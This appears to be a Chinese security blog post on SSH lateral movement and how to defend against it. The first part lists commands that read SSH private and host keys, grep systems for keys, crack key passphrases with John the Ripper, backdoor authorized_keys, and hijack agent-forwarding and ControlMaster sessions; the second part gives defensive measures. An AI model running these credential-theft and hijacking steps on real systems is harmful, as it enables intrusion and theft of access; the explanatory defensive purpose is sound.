此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
无论在渗透测试期间还是恶意访问者ssh横向移动是常用的手法之一,我们作为网络安全的防护人员,应该去了解攻击者的手段和思路,这样才可以更有效的对我们网络环境进行防御,“未知攻,焉能防”。
什么是横向移动
横向移动通常发生在主机通过反向 shell 被攻陷并获得网络立足点之后。通过执行 Linux 特权升级或 Windows 特权升级完全攻陷目标计算机可能会很有利,因为 root 级帐户可以增加对文件或操作系统功能的访问权限。
SSH 横向移动
SSH 私钥通常是通过网络进行传输的简单方法,并且经常被发现权限较差或在主目录中重复。本文不深入介绍 SSH 转换,我们有单独的SSH 转换资源。
在项目上我见过好多工具人,对照文档进行加固,但是也不去考虑实际环境的利用性,也不结合环境,往往这种加固只会达到两种效果:
1、一刀切
影响业务和增加实际运维成本
2、无用功
有好多都是拿着文档,对config文件一顿输出,要么就导致用户无法登录,要么只修改不保存生效,为了应付合规。
手动查找 SSH 密钥
检查主目录和私钥文件的明显位置:
/home/*
cat /root/.ssh/authorized_keys
cat /root/.ssh/identity.pub
cat /root/.ssh/identity
cat /root/.ssh/id_rsa.pub
cat /root/.ssh/id_rsa
cat /root/.ssh/id_dsa.pub
cat /root/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
搜索包含 SSH 密钥的文件
grep -ir "-----BEGIN RSA PRIVATE KEY-----" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN DSA PRIVATE KEY" /*
识别密钥的主机
如果找到密钥,则需要确定该密钥适用于哪个服务器。为了确定该密钥适用于哪个主机,应检查以下位置:
/etc/hosts
~/.known_hosts
~/.bash_history
~/.ssh/config
/etc/hosts
~/.known_hosts
~/.bash_history
~/.ssh/config
破解 SSH 密码密钥(仅供了解攻击者手段)
如果发现的 SSH 密钥使用密码加密,则可以在本地破解(速度更快),以下是几种方法。如果您可以访问 GPU hashcat,则可以利用它来缩短破解时间。
使用 John the Ripper 破解 SSH 密码
John the Ripper 有一个将密钥转换为哈希的函数,名为 john2hash.py,并且已在 Kali 上预先安装。
-
转换哈希:python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
-
使用全面的单词表:john –wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash-john
-
等待结果
在这个阶段各位老铁要注意一般攻击者都会藏匿身份:
避免直接从未知主机连接到目标 SSH 服务器,使用已知主机有助于防止发出检测警报。
各位老铁请记住如下骚操作:
SSH 密码后门
攻击者可以访问受感染的主机时,会在 SSH authorized_keys 文件中植入后门,以便将来某个时间点实现无密码登录。与通过反向 shell 进行利用和访问相比,这应该可以提供更简单、更可靠的连接;并可能降低被发现的风险。
添加密钥只需粘贴在攻击机器上生成的 SSH 公钥并将其粘贴到受感染机器上的 ~/ssh/authorized_keys 文件中即可。
SSH 代理转发劫持
起点:您已通过将公钥添加到 ~/.authorized_keys 文件来对受感染主机进行 SSH 后门处理。
SSH 代理如何工作
SSH 代理的工作原理是允许中间机器将您的 SSH 密钥从客户端传递(转发)到下一个下游服务器,从而允许中间的机器(可能是堡垒主机)使用您的密钥而无需物理访问您的密钥,因为它们不存储在中间主机上,而只是转发到下游目标服务器。
-
访问已建立现有受害者用户会话的计算机
-
对受害者会话建立的机器的 root 级别访问权限
-
当前受害者的 SSH 连接已启用代理转发
-
你的机器 => 中间主机(转发你的密钥)=> 下游机器
风险
使用 SSH 代理转发的主要风险是如果中间机器受到威胁,并且攻击者拥有大量权限,他们可能会使用已建立的会话套接字来访问下游服务器。
如何劫持 SSH 代理转发
攻击机器 => 被入侵的中间主机(带有 SSH 密钥)=> 下游机器(最终目的地)
SSH 代理转发允许用户无需输入密码即可连接到其他计算机。此功能可用于在有活动会话的情况下访问受感染用户 SSH 密钥有权访问的任何主机(无需直接访问密钥)。
思考 SSH 代理转发的一种可能更简单的方法是将其视为将 SSH 密钥分配给活动的 SSH 会话,当会话到位时,可以访问 SSH 密钥并连接到 SSH 密钥有权访问的其他机器。
为了利用 SSH 代理转发,必须在用户客户端(您希望劫持的客户端)和受感染的中间主机之间打开活动会话。您还需要以超级用户权限(例如su - username、 或sudo)访问用户所连接的主机,以访问运行您希望劫持的活动 SSH 会话的帐户。
在本地客户端计算机上运行以下命令:
您可能需要创建一个新密钥,如果是这样,请运行ssh-add。
-
使用代理转发打开到受感染主机的 SSH 连接ssh -A user@compromsied-host
-
使用以下命令验证代理转发是否正常工作:ssh-add -l
-
获取根:sudo -s
-
访问您想要访问的帐户:su - victim
-
访问受害者私钥可以访问的任何 SSH 连接
使用 ControlMaster 进行 SSH 劫持
OpenSSH 有一项名为ControlMaster的功能,它允许通过单个网络连接共享多个会话。允许您连接服务器一次,然后所有其他后续 SSH 会话都使用初始连接。
为了利用 SSH ControlMaster,您首先需要对目标进行 shell 级别的访问;然后,您需要足够的权限来修改用户的配置以启用 ControlMaster 功能。
-
获得目标机器的 shell 级别访问权限
-
访问受害者用户的主目录并创建/修改文件~/.ssh/config
-
添加以下配置:
Host *
ControlMaster auto
~/.ssh/master-socket/%r@%h:%p
ControlPersist yes
-
确保 master-socket 目录存在,如果不存在,则创建它mkdir ~/.ssh/master-socket/
-
确保配置文件具有正确的权限chmod 600 ~/.ssh/config
-
等待受害者登录并建立与另一台服务器的连接
-
查看第4步创建的目录,观察socket文件:ls -lat ~/.ssh/master-socket
-
劫持现有 ssh 连接,连接到步骤 7 中列出的 user@hostname / IP
防止横向移动的六种方式
虽然组织能够检测网络中的横向移动,但很难删除未经授权的用户,具体取决于有多少台设备已被网络犯罪分子接管。组织需要阻止网络犯罪分子获得对其网络的访问权限并在网络中横向移动。以下是组织阻止横向移动的六种方式。
实行最小权限访问原则
最小权限访问原则是一个网络安全概念,即用户应该只给予他们完成工作所需的信息和系统足够的网络访问权限,而不是更多的信息和权限。通过实行最小权限访问原则,组织可以限制对敏感数据的访问以及滥用。最小权限访问原则可减少安全漏洞的潜在路径,并防止横向移动。如果用户的帐户被入侵,网络犯罪分子只能拥有该用户的权限,无法进一步访问组织的网络。
实施零信任
零信任是一个安全框架,要求所有用户和设备持续验证其身份,并限制他们对网络系统和数据的访问。零信任消除了隐式信任,并假设每台设备都已被入侵。零信任基于三个原则:
-
假设漏洞:零信任假设每个试图进入组织网络的用户(人类或机器)都可能遭到入侵并造成安全漏洞。
-
明确验证:在零信任机制下,所有人和机器都必须证明自己的身份,方可访问组织的网络和系统。
-
确保最小权限访问:用户获得的对组织网络的访问权限是指完成工作所需的访问权限,仅此而已。
通过遵循零信任框架,组织可以减少攻击面,并防止网络犯罪分子获得对其网络的初始访问权限。零信任还加大了网络犯罪分子横向移动而不被检测到的难度。
要求配置 MFA
多因素身份验证 (MFA) 是一种安全协议,要求配置多个身份验证因素,才能访问组织的网络。身份验证因素可以是用户知道、拥有的东西或身份。启用 MFA 后,用户通常提供登录凭证,同时提供额外一种身份验证方式,如一次性代码。
组织应要求对特权帐户访问进行 MFA,以提供额外一层安全,并确保只有获得授权的用户才能访问这些敏感帐户。要求 MFA 可保护组织免遭横向移动,因为网络犯罪分子无法提供访问特权帐户所需的额外身份验证信息。
对网络进行分段
网络分段可划分并隔离网络的各个部分,以控制哪些人有权访问敏感信息。这些分段专为不同用户的需求量身定制,仅可就业务职能进行沟通。对网络进行分段可限制对整个网络的访问权限,并阻止网络犯罪分子在网络中移动。组织还可以创建微分段,作为分段网络中的孤立网络部分。
保持软件更新至最新版本
网络犯罪分子将试图通过利用在组织安全基础架构中找到的安全漏洞获得对组织的初始访问权限。他们通常会搜寻过时软件中存在的漏洞。组织应该及时更新软件,以修补安全漏洞,并添加安全功能,以更好地保护您的设备。这会减少横向移动的几率。
投资 PAM 解决方案
PAM 解决方案是一种工具,可管理并保护具有访问高度敏感数据和系统的帐户。借助 PAM 解决方案,组织可全面了解其整个数据基础架构,并控制每个用户对敏感数据的访问权限。PAM 解决方案还有助于组织洞悉员工的密码使用习惯。组织可以确保员工使用强密码来保护其帐户,并仅与获得授权的用户共享密码。
各位老铁如果觉得文章有用,请转发给有需要的朋友,或者点点赞。
你们的支持就是我更新的动力!
原文始发于微信公众号(三沐数安):SSH 横向移动我们应该如何预防?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论